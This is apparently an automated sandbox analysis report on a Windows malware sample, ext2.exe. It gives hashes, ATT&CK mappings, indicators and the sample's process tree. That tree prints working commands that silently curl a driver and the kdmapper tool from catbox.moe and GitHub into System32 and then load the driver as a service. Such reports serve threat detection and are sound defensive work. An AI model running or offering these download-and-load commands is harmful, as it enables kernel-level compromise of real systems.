5c09606cc06d3b3f2163bc0ad6fbf47de13828d57dd5e4b44ce60a6dc7e85060

Analysis

user interaction
yes
max time kernel
20s
max time network
16s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/06/2026, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ext2.exe
Size 772KB
Sample260624-dclymshz2y
SHA256 5c09606cc06d3b3f2163bc0ad6fbf47de13828d57dd5e4b44ce60a6dc7e85060
MD5 dc988d82e5bcdb5bc99efc04461894d0
SHA1 c17fb992bff19ce943392206d6c0f8ad28d9ab7d
SHA512 c76ee3e89701f31e93547eae8773419e2fb58b3ed9c6da58f55646a0c180325a3fef09151414cba013a93c5dfa8a7e7d8780e3e9a1bf982e5ce57da423854112
SSDEEP 12288:nYxO+e0uMHx6ygPEdUgGmo7jbijhi2nj0TZOpudhyC6YLK2eoo:YY+HuMHx6ydUdbiti2nUZOpudh+YW2
TLSH
T15FF49E44FBF440B4D17BA13899A6EF2FEB36784807205ADF63D405593FA66E04B76322
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

persistence

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
7	3280	curl.exe
19	3164	curl.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KJetAyfBeDspgRmgWvRwML\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\KJetAyfBeDspgRmgWvRwML"	kdmapper.exe

Executes dropped EXE 1 IoCs

pid	Process
640	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\hobo.sys	curl.exe
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
640	kdmapper.exe
640	kdmapper.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
640	kdmapper.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	640	kdmapper.exe
Token: SeLoadDriverPrivilege	640	kdmapper.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 2576	4880	ext2.exe	87
PID 4880 wrote to memory of 1276	4880	ext2.exe	92
PID 4880 wrote to memory of 2964	4880	ext2.exe	93
PID 2964 wrote to memory of 3280	2964	cmd.exe	94
PID 4880 wrote to memory of 1392	4880	ext2.exe	99
PID 1392 wrote to memory of 3164	1392	cmd.exe	100
PID 4880 wrote to memory of 640	4880	ext2.exe	103
PID 4880 wrote to memory of 3768	4880	ext2.exe	106
PID 4880 wrote to memory of 1172	4880	ext2.exe	107
PID 4880 wrote to memory of 1924	4880	ext2.exe	108

C:\Users\Admin\AppData\Local\Temp\ext2.exe
"C:\Users\Admin\AppData\Local\Temp\ext2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:3164
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:1924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hobo.sys

Path C:\Windows\System32\hobo.sys
Size 13KB
SHA256 2eacc4ae96eacd16152474e3b9e014f956e9e6020db1d6d6aca228de9a546cf1
MD5 21951a18deb06bd874e99a359caec40b
SHA1 e8cf4eab961033541103c0e56851ad543d098d77
SHA512 c0394cb52e056b6374bdb27da6572d123348d03c7c197882b55731728727e8d2b161b3f59dda086523a4f3a185de9e530d0aef3ad24a65217e98eb9f45ba81be
SSDEEP 192:AAin1l22SNUZC7Y5yYaFzz7wVESzYcrmZ7xElO7VXzHk4kpT:AbHNSC5yJFzI6O5rm3xLkD
TLSH
T10F52E812A35A04F9E25A913FE2A24B47E6E9F0621351AFDF0875C2460F53FE47837A42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download